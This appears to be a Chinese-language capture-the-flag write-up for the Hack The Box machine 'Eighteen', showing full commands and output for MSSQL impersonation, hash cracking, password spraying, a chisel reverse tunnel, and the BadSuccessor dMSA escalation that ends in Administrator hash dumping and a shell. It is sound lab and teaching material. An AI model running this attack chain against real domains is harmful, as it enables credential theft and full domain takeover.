靶机描述

As is common in real life Windows penetration tests, you will start the Eighteen box with credentials for the following account: kevin / iNa2we6haRj2gaw!

端口扫描

这是一台 Windows 的靶机,开始端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ sudo nmap -p- eighteen.htb -oA ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-18 15:28 CST
Nmap scan report for eighteen.htb
Host is up (0.12s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
1433/tcp open ms-sql-s
5985/tcp open wsman

Nmap done: 1 IP address (1 host up) scanned in 295.25 seconds

ms-sql 渗透

看到开启了 1433 的 mssql 服务,猜测题目给的 kevin / iNa2we6haRj2gaw! 就是 mssql 的凭据,使用 impacket-mssqlclient 去连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@eighteen.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (kevin guest@master)>

发现了一个叫 financial_planner 的数据库,没有权限进入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
SQL (kevin  guest@master)> enum_db
name is_trustworthy_on
----------------- -----------------
master 0

tempdb 0

model 0

msdb 1

financial_planner 0

SQL (kevin guest@master)> use financial_planner
ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.
SQL (kevin guest@master)>

Hackviser 上,找到了一种权限提升的方法:

1
2
# Check for impersonation permissions
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

上面这条语句的意思是查出和 IMPERSONATE 权限有关的账号名字,但它查到的是授予者,不一定是我当前账号可以直接借用的目标。更完整的查法是把权限关系全部列出来:谁被授予了权限(grantee)、可以借用谁(target)、是谁授予的(grantor)、当前状态是什么(state)。

1
SELECT sp.state_desc, grantee.name AS grantee_name, target.name AS target_login, grantor.name AS grantor_name FROM sys.server_permissions sp LEFT JOIN sys.server_principals grantee ON sp.grantee_principal_id=grantee.principal_id LEFT JOIN sys.server_principals grantor ON sp.grantor_principal_id=grantor.principal_id LEFT JOIN sys.server_principals target ON sp.major_id=target.principal_id WHERE sp.permission_name='IMPERSONATE';

用上述语句查出,我可以借用 appdev 的权限:

image

(后面又学到似乎可以直接用 enum_impersonate 来查看可以模拟安全上下文的数据库用户)

因此用 execute as login = 'appdev' ,切换成该用户,然后进入刚才的 financial_planner 进行查询:

image

看到存在一个 admin 账号,还有一个密码,推测该账号可能与开启的 web 服务有关,先去 web 页面看看。

web 渗透

进入 web 页面,有一个注册的地方,那就注册之后再登录:

image

有一个 admin 页面,但是我们无法进入,他说我们权限不足。

想到刚才的 mssql 的地方,有一个 admin 账户,我们现在再来看看有没有增加我们注册的账户:

image

果然增加了,但是我们的 is_admin 列是 0 ,我们把他修改为 1 :

image

这样就能进入刚才的 admin 页面了:

image

页面上说这是一个 flask 应用,并且前面的操作的部分我们可以输入一些数字,那就测测是否存在 SSTI 。

但在 dashboard 页面测试了一通,没有发现可能存在 SSTI 的点,说明入口可能不在这里。

因此,我准备回到刚才的 mssql ,去爆破一下 admin 的密码。

mssql 密码爆破

刚才 admin 的密码为 pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133,这是一个 pbkdf2 的密码,但是这个形式还不是 hashcat 能够直接破解的形式。

我们可以通过以下的命令来查看 hashcat 能够破解的 pbkdf2 的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ hashcat --hash-info -m 10900
hashcat (v6.2.6) starting in hash-info mode

Hash Info:
==========

Hash mode #10900
Name................: PBKDF2-HMAC-SHA256
Category............: Generic KDF
Slow.Hash...........: Yes
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Embedded
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure
Example.Hash.Format.: plain
Example.Hash........: sha256:1000:NjI3MDM3:vVfavLQL9ZWjg8BUMq6/FB8FtpkIGWYk
Example.Pass........: hashcat
Benchmark.Mask......: ?b?b?b?b?b?b?b
Autodetect.Enabled..: Yes
Self.Test.Enabled...: Yes
Potfile.Enabled.....: Yes
Custom.Plugin.......: No
Plaintext.Encoding..: ASCII, HEX

可以看到,他能破解的形式需要 salthash 都得是 base64 的才行,因此我们需要用 pbkdf2-to-hashcat 工具来转换一下:

1
2
3
┌──(kali㉿kali)-[~/Tools]
└─$ python3 pbkdf2-to-hashcat.py 'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133'
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=

然后用 hashcat 去破解:

image

密码破解成功了,是 iloveyou1

nxc 用户名枚举

现在我们有了密码,一开始的端口扫描又扫出靶机开放了 winrm 的端口,所以我们可以尝试找找用户名,使用用户名和密码去登录 winrm 。

winrm 就是 Windows 远程管理 ,就像 linux 的 ssh ,如果我们有用户名和密码,我们就能远程登录了。

netexec.wiki 里面,我找到了用如下的命令可以在远程目标上强制执行 RID 来列举用户

1
nxc mssql 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --rid-brute

因此,用这个方法尝试列举靶机内的用户名:

image

可以看到列举出了很多用户名,我们先处理一下,存到 users.txt 里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ cat test.txt| awk -F '\\' '{print $2}'
kevin:iNa2we6haRj2gaw!
Enterprise Read-only Domain Controllers
Administrator
Guest
krbtgt
Domain Admins
Domain Users
Domain Guests
Domain Computers
Domain Controllers
Cert Publishers
Schema Admins
Enterprise Admins
Group Policy Creator Owners
Read-only Domain Controllers
Cloneable Domain Controllers
Protected Users
Key Admins
Enterprise Key Admins
Forest Trust Accounts
External Trust Accounts
RAS and IAS Servers
Allowed RODC Password Replication Group
Denied RODC Password Replication Group
DC01$
DnsAdmins
DnsUpdateProxy
mssqlsvc
SQLServer2005SQLBrowserUser$DC01
HR
IT
Finance
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green

nxc 密码喷洒

接着,我们使用 nxc 去进行 winrm 的密码喷洒:

image

可以看到,adam.scott:iloveyou1 是一个合法的凭据,那就用这个凭据进行 evil-winrm 登录:

image

获得了 user flag。

提权

这是一台域控,想用 bloodyAD 查看我们对 AD(Active Directory) 内的哪些对象有写权限,但是一直报错 ldap timeout error,想起来一开始目录扫描的时候没有扫到 ldap 389 端口开放,可能是靶机没有把 ldap 的端口给开在外网,因此我们需要先用 chisel 给代理出来:

1
2
3
kali:chisel server -p 8000 --reverse

靶机:.\chisel.exe client <kali-ip>:8000 R:389:127.0.0.1:389 R:636:127.0.0.1:636

这样我们就把靶机 ldap 的 389 和 636 端口给代理到我们自己的两个端口上了。

查看一下自己开放的端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 127.0.0.1
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-31 19:12 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000010s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
389/tcp open ldap
636/tcp open ldapssl
8000/tcp open http-alt
40395/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

使用 bloodyAD 查看我们有哪些写权限:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ bloodyAD --host 127.0.0.1 -d eighteen.htb -u adam.scott -p "iloveyou1" get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=eighteen,DC=htb
permission: WRITE

distinguishedName: OU=Staff,DC=eighteen,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=adam.scott,OU=Staff,DC=eighteen,DC=htb
permission: WRITE

也可以使用 socks 代理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> ./chisel client 10.10.xx.xx:8000 R:socks
chisel.exe : 2026/04/01 03:11:33 client: Connecting to ws://10.10.xx.xx:8000
+ CategoryInfo : NotSpecified: (2026/04/01 03:1....10.16.xx:8000:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2026/04/01 03:11:34 client: Connected (Latency 77.6743ms)


┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ proxychains4 bloodyAD --host eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" get writable
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=eighteen,DC=htb
permission: WRITE

distinguishedName: OU=Staff,DC=eighteen,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=adam.scott,OU=Staff,DC=eighteen,DC=htb
permission: WRITE

可以看到我们对 OU=Staff,DC=eighteen,DC=htbCREATE_CHILD 权限,网上搜一搜这个权限能干嘛,于是就找到了这篇文章,里面详细介绍了 BadSuccessor 的原理和利用方法。

这篇文章说,BadSuccessor 是由于 Windows Server 2025 引入 dMSA 而引起的,dMSA 是一种为了无缝衔接地转移账户而产生的服务,新的 dMSA 可以继承原始账户的权限,而且要取代的账户名称是可以通过指定参数来进行模拟的,这就是问题产生的地方。

因此,我们可以先用如下的命令查看一下靶机的 Windows version:

image

网上查一下:

image

发现我们这里就是 Windows Server 2025 ,因此很可能会存在 BadSuccessor 漏洞。

因此,我们使用上述文章里所讲的利用方法来进行利用。

首先,我们需要查看一下我们的权限,因为 BadSuccessor 需要我们对某一个 OU 有创建 msDS-DelegatedManagedServiceAccount 的权限或者是创建所有子对象的权限,这样我们才能创建一个 dMSA 账户。

查看谁对 OU=Staff 拥有什么权限:

1
2
3
4
5
6
7
8
9
10
11
12
*Evil-WinRM* PS C:\Users\adam.scott\Documents> (Get-Acl "AD:\OU=Staff,DC=eighteen,DC=htb").Access 

ActiveDirectoryRights : CreateChild
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : EIGHTEEN\IT
IsInherited : False
InheritanceFlags : None
PropagationFlags : None

这个权限是说,EIGHTEEN\IT 组的用户对这个 OU 有 创建任意子对象 的权限。

查看我们是否属于 EIGHTEEN\IT 组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

可以看到我们就是属于这个组的,因此我们可以对这个 OU 创建任意子对象,包括 msDS-DelegatedManagedServiceAccount

我们先创建一个 委派型托管服务账号(dMSA) ,并且配置我们自己为可以读取该 dMSA 的密码的账户:

1
*Evil-WinRM* PS C:\Users\adam.scott\Documents> New-ADServiceAccount -Name "test_dMSA" -DNSHostName "eighteen.htb" -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword 'adam.scott' -path "OU=Staff,DC=eighteen,DC=htb"

然后设置它的 msDS-DelegatedMSAState 为 2 来模拟已完成账户迁移,msDS-ManagedAccountPrecededByLink 为我们需要模拟的账户 Administrator

image

可以看到这里报错了,因为我们对其没有 GenericAll 权限,所以我们要先获取对 test_dMSAGenericAll 权限:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ proxychains4 bloodyAD --host eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" add genericAll "CN=test_dMSA,OU=Staff,DC=eighteen,DC=htb" "CN=adam.scott,OU=Staff,DC=eighteen,DC=htb"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[+] CN=adam.scott,OU=Staff,DC=eighteen,DC=htb has now GenericAll on CN=test_dMSA,OU=Staff,DC=eighteen,DC=htb

接着,我们就能成功保存 dMSA 用户的一些属性了:

image

保存成功之后,我们的 dMSA 账户就成功 “模拟” 了 Administrator,如果此时 dMSA 发起身份认证,Kerberos 会根据 dMSA 的 msDS-ManagedAccountPrecededByLink 字段来看他的原始账户是谁。前面我们已经设置为了 Administrator ,因此,如果我们请求 test_dMSA 的 ST ,我们就能获得拥有 Administrator 权限的票据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ proxychains4 impacket-getST eighteen.htb/'adam.scott':'iloveyou1' -k -dmsa -self -impersonate 'test_dMSA$'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating test_dMSA$
[*] Requesting S4U2self
[*] Current keys:
[*] EncryptionTypes.aes256_cts_hmac_sha1_96:da0844e2073c7e9a4e7f9dad209a4004b5c4d142fa467730153dfa6170bda594
[*] EncryptionTypes.aes128_cts_hmac_sha1_96:c83126e48f0c66283779f6e43ba72d99
[*] EncryptionTypes.rc4_hmac:73847dd45933fdce483022ef1540d5bc
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec
[*] Saving ticket in test_dMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

然后用该票据去获取 Administrator 的密码哈希:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ export KRB5CCNAME=test_dMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ proxychains4 -q impacket-secretsdump dc01.eighteen.htb -k -no-pass -just-dc-user Administrator

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
[*] Kerberos keys grabbed
Administrator:0x14:977d41fb9cb35c5a28280a6458db3348ed1a14d09248918d182a9d3866809d7b
Administrator:0x13:5ebe190ad8b5efaaae5928226046dfc0
Administrator:aes256-cts-hmac-sha1-96:1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2
Administrator:aes128-cts-hmac-sha1-96:7b6b4158f2b9356c021c2b35d000d55f
Administrator:0x17:0b133be956bfaddf9cea56701affddec
[*] Cleaning up...

注意,这里的 dc01.eighteen.htb 不能写成 eighteen.htb ,因为这里需要写 SPN(Service Principal Name) ,写成 eighteen.htb 的话,Kerberos 会找不到主机的。

成功获取了哈希,用该哈希进行 evil-winrm 登录:

image

当然,也可以使用 impacket-smbexec 来直接使用 ST 来获取 shell :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ export KRB5CCNAME=test_dMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

┌──(kali㉿kali)-[~/HTB/eighteen]
└─$ proxychains4 impacket-smbexec -no-pass -k dc01.eighteen.htb
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\System32>cd C:\Users\Administrator\Desktop
[-] You can not CD under SMBEXEC. Use full paths.
C:\Windows\System32>help

Documented commands (type help <topic>):
========================================
help

Undocumented commands:
======================
CD EOF cd exit shell

C:\Windows\System32>dir C:\Users\Administrator\Desktop
Volume in drive C has no label.
Volume Serial Number is E154-392A

Directory of C:\Users\Administrator\Desktop

11/10/2025 05:39 PM <DIR> .
11/10/2025 03:15 PM <DIR> ..
04/02/2026 09:45 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 4,625,248,256 bytes free
C:\Windows\System32>
C:\Windows\System32>type C:\Users\Administrator\Desktop\root.txt
ae3154a7af3cef1473e2fe0dxxxxxxxx

C:\Windows\System32>